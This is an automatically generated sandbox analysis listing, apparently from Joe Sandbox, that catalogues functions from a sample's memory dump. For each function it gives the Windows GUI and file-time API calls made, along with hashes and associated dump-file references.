Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CompatibleConditionCreateHashMaskObject$BitmapDeleteImplImpl::InfoMetricsSelectSystemVerifyVersion
String ID:
API String ID: 821148471-3916222277
Opcode ID: 35b1456f474780a5decac3009dde12970bc71ffba1bfa3b31348209189299bbd
Instruction ID: ae8a37201005f473de6899875b8a4f25387225d58a64c4c8302452e398a6f266
Opcode Fuzzy Hash: 35b1456f474780a5decac3009dde12970bc71ffba1bfa3b31348209189299bbd
Instruction Fuzzy Hash: 31B19F36714A509AEB22DFB6D8547ED37B0F748798F504229EF4A97AB9DB38C805C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140154660 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 258windowCOMMON

Download Yara Rule

APIs

TrackMouseEvent.USER32 ref: 000000014015477B
UpdateWindow.USER32 ref: 00000001401548A0
GetParent.USER32 ref: 0000000140154908
SendMessageW.USER32 ref: 0000000140154928
GetClientRect.USER32 ref: 00000001401549C6
InflateRect.USER32 ref: 0000000140154A14

Strings

iii, xrefs: 00000001401549EC
, xrefs: 00000001401549F3

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ClientEventInflateMessageMouseParentSendTrackUpdateWindow
String ID: iii$
API String ID: 2492745705-462628325
Opcode ID: 2fe2a5ffbbe370e69f16cc8f4a1b6ab689d5a2eca5f4a4073c8456b908c10b46
Instruction ID: 92071a7e7c5ea8194467fbd5af9665b5459e8cddfe913b74ba258fdb208378e4
Opcode Fuzzy Hash: 2fe2a5ffbbe370e69f16cc8f4a1b6ab689d5a2eca5f4a4073c8456b908c10b46
Instruction Fuzzy Hash: FFB19F3620069087EB26DB23E4547EE77A1F78CF98F180225DB5A4BBA5CF7AD945C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014008060C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 91windowCOMMON

Download Yara Rule

APIs

PatBlt.GDI32 ref: 0000000140080651
SetBkColor.GDI32 ref: 0000000140080694
BitBlt.GDI32 ref: 00000001400806D4
SetBkColor.GDI32 ref: 000000014008070E
BitBlt.GDI32 ref: 000000014008074E
BitBlt.GDI32 ref: 000000014008078E

Strings

, xrefs: 00000001400806B0
b, xrefs: 0000000140080630

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Color
String ID: $b
API String ID: 2811717613-2505604640
Opcode ID: 1f1eebc8388768d1e00e08cc88573fb66d0a91dba17edcf2c5092e8d02e67602
Instruction ID: eda85a597ed8addad1c25d791de72f9ebae6a4baa878bfdbe40bdd4c5f8dc2c9
Opcode Fuzzy Hash: 1f1eebc8388768d1e00e08cc88573fb66d0a91dba17edcf2c5092e8d02e67602
Instruction Fuzzy Hash: 3E413276A14A408BE751DF16F848B9A77A1F38CBA9F544115EB8947BB8CBBCC840CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140058580 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetStockObject.GDI32 ref: 00000001400585C2
GetStockObject.GDI32 ref: 00000001400585D0
GetObjectW.GDI32 ref: 00000001400585E8
GetDC.USER32 ref: 00000001400585F9
GetDeviceCaps.GDI32 ref: 0000000140058618
MulDiv.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000000014005862A
ReleaseDC.USER32 ref: 0000000140058638

Strings

System, xrefs: 00000001400583D9, 00000001400585B0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: fe12a67df7abab3f56380aaaee1d5e4399ecba710e16424cea40da4aff6efe63
Instruction ID: 21fdedab7acfa7cb03b9ad71d12b663ee932c52a3aba46163a09143153753ead
Opcode Fuzzy Hash: fe12a67df7abab3f56380aaaee1d5e4399ecba710e16424cea40da4aff6efe63
Instruction Fuzzy Hash: 86215E35304B9096EB26DB22F818BDA77A1F74CB80F444529EE8D57BA4DF7DC50A8B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014009A374 Relevance: 13.8, APIs: 9, Instructions: 349timewindowCOMMON

Download Yara Rule

APIs

SetCursor.USER32 ref: 000000014009A485

Part of subcall function 00000001400497D8: GetDC.USER32 ref: 0000000140049817

Part of subcall function 0000000140053BF0: CreateRectRgnIndirect.GDI32 ref: 0000000140053C5A
Part of subcall function 0000000140053BF0: CopyRect.USER32 ref: 0000000140053C73
Part of subcall function 0000000140053BF0: InflateRect.USER32 ref: 0000000140053C88
Part of subcall function 0000000140053BF0: IntersectRect.USER32 ref: 0000000140053C99
Part of subcall function 0000000140053BF0: CreateRectRgnIndirect.GDI32 ref: 0000000140053CA3
Part of subcall function 0000000140053BF0: CreateRectRgn.GDI32 ref: 0000000140053CBF
Part of subcall function 0000000140053BF0: CombineRgn.GDI32 ref: 0000000140053CE5
Part of subcall function 0000000140053BF0: CreateRectRgn.GDI32 ref: 0000000140053D36
Part of subcall function 0000000140053BF0: SetRectRgn.GDI32 ref: 0000000140053D63
Part of subcall function 0000000140053BF0: CopyRect.USER32 ref: 0000000140053D70

Part of subcall function 0000000140049984: ReleaseDC.USER32 ref: 00000001400499AD

GetFocus.USER32 ref: 000000014009A518
SetTimer.USER32 ref: 000000014009A62B
TrackMouseEvent.USER32 ref: 000000014009A663
GetParent.USER32 ref: 000000014009A6E5
SendMessageW.USER32 ref: 000000014009A705
KillTimer.USER32 ref: 000000014009A884
SetTimer.USER32 ref: 000000014009A8A4
UpdateWindow.USER32 ref: 000000014009A8D0

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Create$Timer$CopyIndirect$CombineCursorEventFocusInflateIntersectKillMessageMouseParentReleaseSendTrackUpdateWindow
String ID:
API String ID: 2524255646-0
Opcode ID: 281531fa7e87e286c2c961035916e19313e3dd5e80cd303dd19577a3b0328d38
Instruction ID: 37362e1a807054d8c51cc00f1b38382e53b3556072748842684c5a3e28aa9c1a
Opcode Fuzzy Hash: 281531fa7e87e286c2c961035916e19313e3dd5e80cd303dd19577a3b0328d38
Instruction Fuzzy Hash: E3F1923160068086EB26DB67E4447EE73A0F789BD4F144225EB6A476F4DF7CD882C780

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013866C Relevance: 13.8, APIs: 9, Instructions: 288windowCOMMON

Download Yara Rule

APIs

DestroyMenu.USER32 ref: 000000014013871F
DestroyMenu.USER32 ref: 000000014013873E
ClientToScreen.USER32 ref: 00000001401387A1
GetWindowRect.USER32 ref: 00000001401387B7
ClientToScreen.USER32 ref: 0000000140138844
ClientToScreen.USER32 ref: 00000001401388A1
GetParent.USER32 ref: 0000000140138942
GetParent.USER32 ref: 0000000140138A2E
GetParent.USER32 ref: 0000000140138A5F

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ClientParentScreen$DestroyMenu$RectWindow
String ID:
API String ID: 3328890127-0
Opcode ID: 69b5f880db908b5f5960674ab7e35b71aba28e59b64114bcdcd527a13a4ccd81
Instruction ID: 560825b877e215d92fd2939ab6f46e9ca938f6008b0f79add04fa8548141971a
Opcode Fuzzy Hash: 69b5f880db908b5f5960674ab7e35b71aba28e59b64114bcdcd527a13a4ccd81
Instruction Fuzzy Hash: BAC12376615B8586FA16DB67E8547EE63A0FB8CF84F084526DF4A4BBA5DF38C401C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014012A3B8 Relevance: 13.8, APIs: 9, Instructions: 267COMMON

Download Yara Rule

APIs

IsRectEmpty.USER32 ref: 000000014012A3E8
PtInRect.USER32 ref: 000000014012A3F8
IsRectEmpty.USER32 ref: 000000014012A418
PtInRect.USER32 ref: 000000014012A428
IsRectEmpty.USER32 ref: 000000014012A476
PtInRect.USER32 ref: 000000014012A486
PtInRect.USER32 ref: 000000014012A4B0
IsRectEmpty.USER32 ref: 000000014012A550
PtInRect.USER32 ref: 000000014012A564

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Part of subcall function 0000000140124CB4: _invalid_parameter_noinfo.LIBCMT ref: 0000000140124D7C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Empty$ExceptionThrow_invalid_parameter_noinfo
String ID:
API String ID: 3659049137-0
Opcode ID: 5d17eaf185ffdb978cd8ed29a493107ab7ab525767a99fe0107cf950e07950d7
Instruction ID: 6c4419ad66843e1d7f34fdb89ae797a7b050ea5c70af3a74b15f9c8b7f90a012
Opcode Fuzzy Hash: 5d17eaf185ffdb978cd8ed29a493107ab7ab525767a99fe0107cf950e07950d7
Instruction Fuzzy Hash: 3EB1AF76300B8082EA6A9F57E5043DE67A5F788FD0F98402ACF59677A5DFB9D492C300

Uniqueness

Uniqueness Score: -1.00%

Function 000000014010A42C Relevance: 13.7, APIs: 9, Instructions: 231windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014010A457
GetParent.USER32 ref: 000000014010A49E
SendMessageW.USER32(?,00000000,?,00000001400CD1E6), ref: 000000014010A4BE
GetParent.USER32 ref: 000000014010A57D
GetParent.USER32 ref: 000000014010A631
PostMessageW.USER32 ref: 000000014010A658
GetParent.USER32 ref: 000000014010A6CA
InvalidateRect.USER32 ref: 000000014010A76B
UpdateWindow.USER32 ref: 000000014010A77C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Parent$Message$InvalidatePostRectSendUpdateWindow
String ID:
API String ID: 896913059-0
Opcode ID: b5b3f40dc9ddc2ac73b74f8c30526cafc64e641cca9fd8d94fddf65cf1e4f070
Instruction ID: 786f57cf6a034a787e6a78ada9e280f1ffd984d3bdf6938dc813696cabc2fe86
Opcode Fuzzy Hash: b5b3f40dc9ddc2ac73b74f8c30526cafc64e641cca9fd8d94fddf65cf1e4f070
Instruction Fuzzy Hash: 76A12D7530164141EE5BDB63E4697EA63A1BB8CFC4F488126DF4A4BBB2DE7DC8068340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400A46F0 Relevance: 13.7, APIs: 9, Instructions: 217COMMON

Download Yara Rule

APIs

PtInRect.USER32 ref: 00000001400A473A
RedrawWindow.USER32 ref: 00000001400A475A
ClientToScreen.USER32 ref: 00000001400A478E
WindowFromPoint.USER32 ref: 00000001400A4798
ReleaseCapture.USER32 ref: 00000001400A47B5
SetCapture.USER32 ref: 00000001400A4848
ReleaseCapture.USER32 ref: 00000001400A487A
ClientToScreen.USER32 ref: 00000001400A49CA
SetCursorPos.USER32 ref: 00000001400A49D6

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Capture$ClientReleaseScreenWindow$CursorFromPointRectRedraw
String ID:
API String ID: 2024412728-0
Opcode ID: b1ab41c28cc93dd6ad6c82fcc193da542691f8e9f602a6fe679747054a3f0f47
Instruction ID: 20cf241f7fa661cc61fec453d85edec8eb5b304386ee8acfee547d513252cafa
Opcode Fuzzy Hash: b1ab41c28cc93dd6ad6c82fcc193da542691f8e9f602a6fe679747054a3f0f47
Instruction Fuzzy Hash: D8A1393A711A8186EB19DF66E6503ED2361F79DBC0F085226EF1A57BA1CF34D4A1CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400980B8 Relevance: 13.7, APIs: 9, Instructions: 214windowCOMMON

Download Yara Rule

APIs

MessageBeep.USER32 ref: 0000000140098102
ScreenToClient.USER32 ref: 0000000140098183
UpdateWindow.USER32 ref: 0000000140098201
UpdateWindow.USER32 ref: 000000014009825B

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: UpdateWindow$BeepClientMessageScreen
String ID:
API String ID: 1712693409-0
Opcode ID: 2c9b4c39bf5f28b4a4ca781e88612102ef142eaaf9e77b825b2f4a2796aa806f
Instruction ID: 755874ce497f43334733f2dea8404b1d3a0f2b2036e7338512a7f5edf34628af
Opcode Fuzzy Hash: 2c9b4c39bf5f28b4a4ca781e88612102ef142eaaf9e77b825b2f4a2796aa806f
Instruction Fuzzy Hash: 84917B36214A5086FA26EB63E8547ED27A1B78CFC4F048126EF1A57BB5DF78C942C700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140034514 Relevance: 13.7, APIs: 9, Instructions: 172windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 0000000140034571
GetSubMenu.USER32 ref: 000000014003459C
GetMenuState.USER32 ref: 00000001400345B3
GetSubMenu.USER32 ref: 000000014003460E
GetMenuStringW.USER32 ref: 0000000140034633
AppendMenuW.USER32 ref: 00000001400346B4
GetMenuItemCount.USER32 ref: 0000000140034711
GetMenuItemID.USER32 ref: 0000000140034739
InsertMenuW.USER32 ref: 0000000140034759

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Item$Count$AppendInsertStateString
String ID:
API String ID: 420201382-0
Opcode ID: 300b395d40a23efb28ae1050f738a76f4d140311f655c85d3d6aba0b5abd86f1
Instruction ID: 2cbc890e1c64921532c3d4c0cf752f4bb3199d1f1f9ad9b6e48402e9f435056c
Opcode Fuzzy Hash: 300b395d40a23efb28ae1050f738a76f4d140311f655c85d3d6aba0b5abd86f1
Instruction Fuzzy Hash: D871B136614B8086EB12CF56E84879B7761F78ABD8F110115EF9A4BBB8DF78D845CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C8704 Relevance: 13.7, APIs: 9, Instructions: 164windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003D504: GetFocus.USER32 ref: 000000014003D511
Part of subcall function 000000014003D504: GetParent.USER32 ref: 000000014003D538
Part of subcall function 000000014003D504: GetWindowLongW.USER32 ref: 000000014003D564
Part of subcall function 000000014003D504: GetParent.USER32 ref: 000000014003D573
Part of subcall function 000000014003D504: GetDesktopWindow.USER32 ref: 000000014003D57C
Part of subcall function 000000014003D504: SendMessageW.USER32 ref: 000000014003D595

GetMenu.USER32 ref: 00000001400C87AE
GetMenuItemCount.USER32 ref: 00000001400C87FA
GetSubMenu.USER32 ref: 00000001400C8810
GetMenuItemCount.USER32 ref: 00000001400C8836
GetMenuItemID.USER32 ref: 00000001400C8850
GetSubMenu.USER32 ref: 00000001400C886D
GetMenuItemID.USER32 ref: 00000001400C888E
GetMenuItemCount.USER32 ref: 00000001400C88B1
GetMenuItemID.USER32 ref: 00000001400C88EB

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Item$Count$ParentWindow$DesktopFocusLongMessageSend
String ID:
API String ID: 4186786570-0
Opcode ID: a00684709e33c799b5aa593a79369bafc3ef88f620e72fde29d9320e353ce633
Instruction ID: 2559d5deb80f152145e80284b1dc575e59192adf058a160f63a7f0eb9bbeaacb
Opcode Fuzzy Hash: a00684709e33c799b5aa593a79369bafc3ef88f620e72fde29d9320e353ce633
Instruction Fuzzy Hash: 4A614536708B4186FB6ADB63D8847ED27A2BB8CBC4F584425EF4A57BA4DF34C8458704

Uniqueness

Uniqueness Score: -1.00%

Function 000000014004BFFC Relevance: 13.6, APIs: 9, Instructions: 148timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001401E5448: _invalid_parameter_noinfo.LIBCMT ref: 00000001401E5473

GetFileTime.KERNEL32 ref: 000000014004C091
GetFileSizeEx.KERNEL32 ref: 000000014004C0AA
GetFileAttributesW.KERNEL32 ref: 000000014004C0EC

Part of subcall function 000000014004BCC0: GetModuleHandleW.KERNEL32 ref: 000000014004BCF7
Part of subcall function 000000014004BCC0: GetProcAddress.KERNEL32 ref: 000000014004BD0C

FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C103
FileTimeToSystemTime.KERNEL32 ref: 000000014004C115
FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C143
FileTimeToSystemTime.KERNEL32 ref: 000000014004C155
FileTimeToLocalFileTime.KERNEL32 ref: 000000014004C185
FileTimeToSystemTime.KERNEL32 ref: 000000014004C197

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Time$File$LocalSystem$AddressAttributesHandleModuleProcSize_invalid_parameter_noinfo
String ID:
API String ID: 3830226466-0
Opcode ID: d32400b487f652f36b1a60b8f55ff821d510fb76d198eeb4dabba01cb39b6aa8
Instruction ID: b7f63201505ef461441adeef1ae1f77213408ea04441c11dff7550717572fd26
Opcode Fuzzy Hash: d32400b487f652f36b1a60b8f55ff821d510fb76d198eeb4dabba01cb39b6aa8
Instruction Fuzzy Hash: E1619F32310A4596FB629F76D850BED23B4E74DB98F414622EB1A87AF9EF70C505C344

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400720E0 Relevance: 13.6, APIs: 9, Instructions: 137windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140072127
GetFocus.USER32 ref: 0000000140072152
ScreenToClient.USER32 ref: 000000014007219D
SendMessageW.USER32 ref: 00000001400721E0
SetCapture.USER32 ref: 0000000140072200
ReleaseCapture.USER32 ref: 000000014007223C
ScreenToClient.USER32 ref: 0000000140072259
GetSystemMetrics.USER32 ref: 000000014007228E
GetSystemMetrics.USER32 ref: 00000001400722AD

Memory Dump Source

